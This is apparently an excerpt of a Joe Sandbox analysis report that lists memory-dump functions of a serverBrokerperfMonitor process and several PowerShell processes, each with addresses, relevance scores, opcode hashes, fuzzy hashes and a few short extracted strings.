Opcode ID: 2b41feb14d27c7f2f645cf4390ff4c56558c47c609fd87e94f4aa42773ddc276
Instruction ID: e4e55bd74bd3dbfab646f7f5c9a0e2935747eee9fa4f6103c7324b0d83a43ce8
Opcode Fuzzy Hash: 2b41feb14d27c7f2f645cf4390ff4c56558c47c609fd87e94f4aa42773ddc276
Instruction Fuzzy Hash: 92010871E0592D8FEB68DF58CC697EAB3B1FB55306F5141EAC00DE22A0DA742B848F01

Function 00007FFD9B9E06A5 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dd98c4fd6440364e8fe31c86fe0cc6b59abbb2d4420cc510651b3c565916d3d
Instruction ID: 4ba4870d1d1c5e25b1958eeda52ad46ee966e39f38578687589ba1eb127929c5
Opcode Fuzzy Hash: 9dd98c4fd6440364e8fe31c86fe0cc6b59abbb2d4420cc510651b3c565916d3d
Instruction Fuzzy Hash: 67F03030A1550EAFEB90EFA8D4596ED7BA0FF54714F510537E40CC21A0DA34A790CB81

Function 00007FFD9B9E803A Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6eb42740d1fe5afe576930e9d442dd914545049bf26d3fbdeffb1327ed772ada
Instruction ID: b945ac092dca7826a21e9e1db253c7ba3c3f438c853778a6931506db50671bf0
Opcode Fuzzy Hash: 6eb42740d1fe5afe576930e9d442dd914545049bf26d3fbdeffb1327ed772ada
Instruction Fuzzy Hash: 1E01C870E2952D9FDB79DB61D8587B873B4BB18701F0105FED00DA62A4DA786B84CF00

Function 00007FFD9B9E06C8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c465b31e7c3162621821703b249d21df9200f4c50053575a56e6dfc640096de6
Instruction ID: c89c98bcf83cfff9dda4aecbc2556c44205c4926ac33c076c3fe56637326a101
Opcode Fuzzy Hash: c465b31e7c3162621821703b249d21df9200f4c50053575a56e6dfc640096de6
Instruction Fuzzy Hash: 5FF01230A1554D9FDB94EFA4D4496EA7BE0FF14304F510476F81DD2160DA34A6A0CB81

Non-executed Functions

Function 00007FFD9B9E07F8 Relevance: 2.8, Strings: 2, Instructions: 280COMMON

Download Yara Rule

Strings

kx, xrefs: 00007FFD9B9F2153
kx, xrefs: 00007FFD9B9F1F88

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID: kx$kx
API String ID: 0-2436564140
Opcode ID: 1e2298045f73625bad42855f74c35395b9b282249e3bd80045506d6976385e33
Instruction ID: fc22aff808271826ff0967034693dbe8db44d496c1b1ed34014c8ef7ddd72a69
Opcode Fuzzy Hash: 1e2298045f73625bad42855f74c35395b9b282249e3bd80045506d6976385e33
Instruction Fuzzy Hash: B891B530B0854D9FEBA8EF58D895BE93BD0FF15314F10417AE84EC7292DA35A985CB81

Function 00007FFD9B9E0860 Relevance: 2.7, Strings: 2, Instructions: 238COMMON

Download Yara Rule

Strings

kx, xrefs: 00007FFD9B9F2153
kx, xrefs: 00007FFD9B9F1F88

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID: kx$kx
API String ID: 0-2436564140
Opcode ID: 1b5eea2079bfd8ec61d933b4f62e4ad697faa2528c7f31173a5a2dbb3b6eac6e
Instruction ID: 969ab68c2c2c3e13c057dea0e223dd60fbf7e38b7257a33c2e6ff275d1ca849a
Opcode Fuzzy Hash: 1b5eea2079bfd8ec61d933b4f62e4ad697faa2528c7f31173a5a2dbb3b6eac6e
Instruction Fuzzy Hash: 4E71C230A18A4D8FDBA8EF58C855BF97BE0FB59310F50413AE84DC7291DB74A985CB81

Function 00007FFD9BB9D1DD Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1965042803.00007FFD9BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bb90000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 300097d8a517503ff371a97fd7c75d2e6ee75466523536a1330e6d64048663d6
Instruction ID: 9e022aa874a67bc3a3caecde2684dd55d2d372770c68d7a7b8cedca3f766210d
Opcode Fuzzy Hash: 300097d8a517503ff371a97fd7c75d2e6ee75466523536a1330e6d64048663d6
Instruction Fuzzy Hash: C331F670E08A1D8FCF84DF98D451AEDBBF1FB69300F20116AE419E7291C735A941CB44

Analysis Process: powershell.exePID: 7996, Parent PID: 7580COMMON

Executed Functions

Function 00007FFD9BAD431D Relevance: 1.6, Strings: 1, Instructions: 397COMMON

Download Yara Rule

Strings

B, xrefs: 00007FFD9BAD4320

Memory Dump Source

Source File: 00000015.00000002.3013952766.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID: B
API String ID: 0-1255198513
Opcode ID: cacda09ab124fa5d354d1d26b232469e866f83a3746173266464a87597e93852
Instruction ID: 9c50634e8b1b441d720fa7253cb8142c1eaf8b36a4ea7647b31d1da837e51905
Opcode Fuzzy Hash: cacda09ab124fa5d354d1d26b232469e866f83a3746173266464a87597e93852
Instruction Fuzzy Hash: D5C10562A0F7C90FE766977848655A43FE0EF92220B0A02FFD499CB1B3DD58AD468351

Function 00007FFD9BAD6605 Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3013952766.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c06b8258cc9ad8493ee6b7ad1967dece1436fb857acf04c5fdad310782d05a8c
Instruction ID: 3e599c7dafeea6ed80738c68946d2379427ffb6f52f65ea27a0d21f7a5bac065
Opcode Fuzzy Hash: c06b8258cc9ad8493ee6b7ad1967dece1436fb857acf04c5fdad310782d05a8c
Instruction Fuzzy Hash: EDD14632B0EACE0FEB65DB6C48655B97BA1EF96314B0902FED45CC70E3D958A905C341

Function 00007FFD9BAD4073 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3013952766.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7efc6ec7f65befe762546745828f0adfc6dc0b63dfd167897d2194451833506
Instruction ID: 638238baf1a225921cc33271b08c1810fa07ef7168faf26f5f94cce31f0d6188
Opcode Fuzzy Hash: c7efc6ec7f65befe762546745828f0adfc6dc0b63dfd167897d2194451833506
Instruction Fuzzy Hash: F4511532B0EA8A0FEBA99B6C446257577D2EFD5220B1A02BFD15EC71B7DE14EC058341

Function 00007FFD9BA09728 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3009745133.00007FFD9BA05000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA05000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9ba05000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3c8714378c6a6b5ff40ea07a5db77882c517f8b7de50409316e6dd0dc2b9311
Instruction ID: da732fff72ea4dfbdcbdc241fc2de1da9197d1f2e37e1bb33e6f77c9f0b6e834
Opcode Fuzzy Hash: a3c8714378c6a6b5ff40ea07a5db77882c517f8b7de50409316e6dd0dc2b9311
Instruction Fuzzy Hash: 81415071A0EB884FEB199F5C981A6E87BE0FF55300F50416FE08987197DA74AD05C7C2

Function 00007FFD9B8EEE20 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3003451457.00007FFD9B8ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9b8ed000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f562d5914f036899c060ae4db1497807786798221c4a2279423c120c6433e14
Instruction ID: 0249c368f33f6f155c020d0fe9155a3d567e86458e8cf4b49b9d5ce96faf2a24
Opcode Fuzzy Hash: 6f562d5914f036899c060ae4db1497807786798221c4a2279423c120c6433e14
Instruction Fuzzy Hash: 2B41577040EBC44FE7569B399855A523FF0EF57321F0605EFD088CB5A3D629A846C7A2

Function 00007FFD9BAD40BF Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3013952766.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ad2afa834706512c48698f5291d0bf95d292000eaf92383847500c00eecf872
Instruction ID: 465521eb631fd46c2aaba33c4d2958512a8efe13335eb6cfbd3531cac987728a
Opcode Fuzzy Hash: 8ad2afa834706512c48698f5291d0bf95d292000eaf92383847500c00eecf872
Instruction Fuzzy Hash: CE21C332B0EA8B0FE7B5DB58446257467D2EFA5210B5A02BEE05EC71F6DE18ED048341

Function 00007FFD9BA0B4AC Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3009745133.00007FFD9BA05000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA05000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9ba05000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acb180a30adacb385f8c7ccdeb68e416a456862925b4bb687684100606b4ba47
Instruction ID: 62249da342f5b8d7370b7b07c35ec1d6e7589781cf62d89d34d57aa1cfdeb4a6
Opcode Fuzzy Hash: acb180a30adacb385f8c7ccdeb68e416a456862925b4bb687684100606b4ba47
Instruction Fuzzy Hash: C621C631A0CA4C8FDB58DF9CD88A7F97BE0EBA9321F00412FD449C3255DA71A55ACB91

Function 00007FFD9BAD43BC Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3013952766.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a836f9c719298b6d2f7d286f5d0c01e155b89a5e449a624dfc041c01c380d052
Instruction ID: ce328253b003ee6584b3d5d35805380d4ce29a286826c81eb19db67ea6e63d90
Opcode Fuzzy Hash: a836f9c719298b6d2f7d286f5d0c01e155b89a5e449a624dfc041c01c380d052
Instruction Fuzzy Hash: AA11BF32A0E9890FE7B4D75C84645B876D1EF80220B5A02BED45DC71B6DE55AD408340

Function 00007FFD9BA033B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3009745133.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9ba00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: fd0e0d0e09885213c395faa1ca4486af676892c803fc570850bcd53762d5f05f
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 6F01677121CB0D4FD748EF0CE451AA5B7E0FB99364F10056DE58AC36A5DB36E882CB46

Function 00007FFD9BA09CF8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3009745133.00007FFD9BA05000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA05000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9ba05000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93d8dd8a8e168029d025fcbce4771eb00118dc56aa72fa4bd2e2012780a47c12
Instruction ID: 60ea25334c394d1046093590784b9dcd89fd8fd167ddbc60eeed48c907ac51b8
Opcode Fuzzy Hash: 93d8dd8a8e168029d025fcbce4771eb00118dc56aa72fa4bd2e2012780a47c12
Instruction Fuzzy Hash: 3DF0243180868D8FDB06EF2888295D5BFA0EF27310F05029BE488C70B2DBA49558CB82

Function 00007FFD9BA078ED Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3009745133.00007FFD9BA05000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA05000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9ba05000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b09d8db1cc1aa6bade495de96c6e867f506a63afb6e1decece3cb2ddb61410f3
Instruction ID: a8213db3735a37b08bb77fa90c8e434c17c9e433106aee2afc7ddd093a2a1148
Opcode Fuzzy Hash: b09d8db1cc1aa6bade495de96c6e867f506a63afb6e1decece3cb2ddb61410f3
Instruction Fuzzy Hash: B2E0CD2074D6894FD354965C94507B976C19F85310F54487DF4DD833D7C99C5D415353

Non-executed Functions

Function 00007FFD9BA08BFA Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

M_^6, xrefs: 00007FFD9BA08BFA
M_^<, xrefs: 00007FFD9BA08C2A
M_^F, xrefs: 00007FFD9BA08C6A
M_^J, xrefs: 00007FFD9BA08C7A
M_^I, xrefs: 00007FFD9BA08C72

Memory Dump Source

Source File: 00000015.00000002.3009745133.00007FFD9BA05000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA05000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9ba05000_powershell.jbxd

Similarity

API ID:
String ID: M_^6$M_^<$M_^F$M_^I$M_^J
API String ID: 0-1500707516
Opcode ID: 615ba04035d24142b682f52b94d1645f05d7b2c927fd0fbea70c021a3e88cf23
Instruction ID: 481b3f85334ff1bb08ae2a37bc7a428d5540e389c1e6e94507e958443b483616
Opcode Fuzzy Hash: 615ba04035d24142b682f52b94d1645f05d7b2c927fd0fbea70c021a3e88cf23
Instruction Fuzzy Hash: 8D2137773044569EE30677ADB854DDC73C0CB9427638A47F3E169CB583ED1AA48B46C0

Analysis Process: powershell.exePID: 8004, Parent PID: 7580COMMON

Executed Functions

Function 00007FFD9BAD39DC Relevance: 2.8, Strings: 1, Instructions: 1555COMMON

Download Yara Rule

Strings

K_H, xrefs: 00007FFD9BAD3BD2

Memory Dump Source

Source File: 00000016.00000002.3001397492.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID: K_H
API String ID: 0-313846638
Opcode ID: 6537fafa0e428154c140369e4f411b59d9c603046929e7d6abd45b238ced7c61
Instruction ID: d162646325aefe28ef988ee56dec947a92a60df74d4863314004d3bd36b63fc1
Opcode Fuzzy Hash: 6537fafa0e428154c140369e4f411b59d9c603046929e7d6abd45b238ced7c61
Instruction Fuzzy Hash: 3DA22722B0EBCA0FE766976848655B47BE1EF96210B0A02FFD09DC71F3DD58AD468341

Function 00007FFD9BA09D28 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

KL], xrefs: 00007FFD9BA0A141

Memory Dump Source

Source File: 00000016.00000002.2994619631.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9ba00000_powershell.jbxd

Similarity

API ID:
String ID: KL]
API String ID: 0-3031383875
Opcode ID: d6960f22c90cde837f5d442c6a02ce5af51362eca418acbb017b0840309b0e55
Instruction ID: 62c3abb5424153b1ea73f32e8e15ba6ef6a42e74ae6a75fda09d2d7ee97b29b9
Opcode Fuzzy Hash: d6960f22c90cde837f5d442c6a02ce5af51362eca418acbb017b0840309b0e55
Instruction Fuzzy Hash: B0F0E93190868C8FCB55DF5894285E47FE0FF2A200F0501E7D48DC7071D6649954C781

Function 00007FFD9BAD6605 Relevance: .4, Instructions: 444COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3001397492.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf9a4e4030d82d8d33e2b7d434e835125472f07b0be5b49210e50e34d1be4bfe
Instruction ID: d54d1a1736595366fc31ee984023bb540202a6fee51ea170228c1cf5316ea7b2
Opcode Fuzzy Hash: bf9a4e4030d82d8d33e2b7d434e835125472f07b0be5b49210e50e34d1be4bfe
Instruction Fuzzy Hash: 27D14632B0FACE0FEB659BAC48655B97BE0EF96214B0902FED45DC70E3D958A905C341

Function 00007FFD9BA09FA5 Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2994619631.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9ba00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72cf9f63858767fe46eecce4e94173bd93a53a93881231d16549982969d6a2df
Instruction ID: 15c87b48930779d7f388e3f7130b91b63c2d2a8aa74612f7deb7dd919316f16a
Opcode Fuzzy Hash: 72cf9f63858767fe46eecce4e94173bd93a53a93881231d16549982969d6a2df
Instruction Fuzzy Hash: A2513512B0E6DB4FE713BB6CA8F54E93BA09F13214B4A41F3D8D98E0A7DD195C498361

Function 00007FFD9B8EED40 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2987812591.00007FFD9B8ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b8ed000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8451974441e6585079bbd7e9fa7046d0c894a38259155c3cb43fc252391f1a2a
Instruction ID: f37e75220193062fbc2e5b3e9536d389c1b6d95b73c0c4b714beb86e1e7c311b
Opcode Fuzzy Hash: 8451974441e6585079bbd7e9fa7046d0c894a38259155c3cb43fc252391f1a2a
Instruction Fuzzy Hash: EE41387050EBC44FE39ADB3C98519523FF0EF56221B0A05DFD088CB4A3D625A809C7A2

Function 00007FFD9BA0B8E8 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2994619631.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9ba00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 484fb1c7392a23e46a30173f8b0252034762fb9bf44bd035b23e566bfcd7635a
Instruction ID: b4437ebce126f159722107b1a8dfd3cd1a07c4d9392513e6efa475cef0c5aaa9
Opcode Fuzzy Hash: 484fb1c7392a23e46a30173f8b0252034762fb9bf44bd035b23e566bfcd7635a
Instruction Fuzzy Hash: 45312E31A0DB4C4FEB69DFAC88596E97BE0EF56320F04416FD089C7162D6745849C751

Function 00007FFD9BA097A8 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2994619631.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9ba00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8de1d351b3227de58fecb6673677b8a74c4cc7b1461cea249381373a60e7f3f2
Instruction ID: 262ee15e9e97eb2a8bf0bc14878c19be0ada143eeeabfeabf589b46ad613b6ea
Opcode Fuzzy Hash: 8de1d351b3227de58fecb6673677b8a74c4cc7b1461cea249381373a60e7f3f2
Instruction Fuzzy Hash: AE319330A1CA0C9FDB1C9B4CA84AAA977E0FB99311F00422FE459D3251DB71A8568BC2

Function 00007FFD9BAD40BF Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3001397492.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f366b5ea978fe34eca9b10903781fed523eae00bc33e94a2b8d013e956b4d9c3
Instruction ID: d8f47eb7e71ad10fbef861f17ff4bdbf86233db7caac7f7d6f6466bef6e57df8
Opcode Fuzzy Hash: f366b5ea978fe34eca9b10903781fed523eae00bc33e94a2b8d013e956b4d9c3
Instruction Fuzzy Hash: 6521C332B0EA8B0FE7B5DB58446257466D2EFA5210B5A02BEE05EC71F6DE58ED048341

Function 00007FFD9BAD43BC Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3001397492.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21bd1e17c73857b2da485902534c3e0e31bb0d7207716d23f7365ddc89eec673
Instruction ID: d4296cca9deac2bad88ae731da78ae7774e44fc6b90d7877858ba6d12c6f5fce
Opcode Fuzzy Hash: 21bd1e17c73857b2da485902534c3e0e31bb0d7207716d23f7365ddc89eec673
Instruction Fuzzy Hash: F211BF32A0F9890FE7B4DB6C84745B876D1EF80220B5A02BED05EC71B6DE55AD408340

Function 00007FFD9BA033B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2994619631.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9ba00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: fd0e0d0e09885213c395faa1ca4486af676892c803fc570850bcd53762d5f05f
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 6F01677121CB0D4FD748EF0CE451AA5B7E0FB99364F10056DE58AC36A5DB36E882CB46

Non-executed Functions

Function 00007FFD9BA08BFA Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

M_^6, xrefs: 00007FFD9BA08BFA
M_^F, xrefs: 00007FFD9BA08C6A
M_^I, xrefs: 00007FFD9BA08C72
M_^<, xrefs: 00007FFD9BA08C2A
M_^J, xrefs: 00007FFD9BA08C7A

Memory Dump Source

Source File: 00000016.00000002.2994619631.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9ba00000_powershell.jbxd

Similarity

API ID:
String ID: M_^6$M_^<$M_^F$M_^I$M_^J
API String ID: 0-1500707516
Opcode ID: 041ac91ce1e2f866d46e9f53b52ae62d15ede3fa734e511d0ac2dfddc52e60c4
Instruction ID: 481b3f85334ff1bb08ae2a37bc7a428d5540e389c1e6e94507e958443b483616
Opcode Fuzzy Hash: 041ac91ce1e2f866d46e9f53b52ae62d15ede3fa734e511d0ac2dfddc52e60c4
Instruction Fuzzy Hash: 8D2137773044569EE30677ADB854DDC73C0CB9427638A47F3E169CB583ED1AA48B46C0

Analysis Process: powershell.exePID: 8020, Parent PID: 7580COMMON

Executed Functions

Function 00007FFD9B9F604D Relevance: .8, Instructions: 838COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2961401692.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b9f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0ccbfb420b7257a97b5e306c7738f8b0b022a58743c0bddf0909f462de33642
Instruction ID: 058c7ea8c4154b9c259e36c0e4e6993867fa8df3d00afa36ee085cd3a4f3ecb2
Opcode Fuzzy Hash: a0ccbfb420b7257a97b5e306c7738f8b0b022a58743c0bddf0909f462de33642
Instruction Fuzzy Hash: 6FD12917F1E6A75BE321B7ACA8B54E93FA0DF9127670901B7D1C9C60A3E905690AC3D0

Function 00007FFD9B9FB268 Relevance: .5, Instructions: 463COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2961401692.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b9f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50c71317339ff5811f36f7e55a0efef4b6ebcfb30681434c0d51bacf5eceea23
Instruction ID: 888e48b8f9af72ca6e94ed77a770548282337af889f7eb717d5ac91f3a4d4537
Opcode Fuzzy Hash: 50c71317339ff5811f36f7e55a0efef4b6ebcfb30681434c0d51bacf5eceea23
Instruction Fuzzy Hash: D0D14730B2DA4D4FD798EF5CC895AB57BE1EF95320F1001BED08AC32A6DA25E846C741

Function 00007FFD9BAC6605 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2968426549.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9bac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6fa83544fdffa94e3ad9004ce5754766ce652f296fb632221bcd1e0963bcf64
Instruction ID: 5ea6798ae4e225f826eadf10a4d79de704d6ca08a47e7dbeaa4262d6efb7c088
Opcode Fuzzy Hash: b6fa83544fdffa94e3ad9004ce5754766ce652f296fb632221bcd1e0963bcf64
Instruction Fuzzy Hash: FDD13532B0EA8E0FEBA5EB6C48655B57BA0EF66314B1901FED45DC70E3D958AC05C341

Function 00007FFD9BAC4073 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2968426549.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9bac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 007abf8e7f9fc2642cee350aedacafd1de3e38917613a9db1b074d3aa2398543
Instruction ID: ac29869658b0563f5c83222ff8b410658176352a9115b542f76c17c99f6345c8
Opcode Fuzzy Hash: 007abf8e7f9fc2642cee350aedacafd1de3e38917613a9db1b074d3aa2398543
Instruction Fuzzy Hash: 20512632B0EA8E0FE7A9AB6C446157477D2EFA4220B1A00BFC19EC71B7DE14EC058345

Function 00007FFD9BAC4370 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2968426549.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

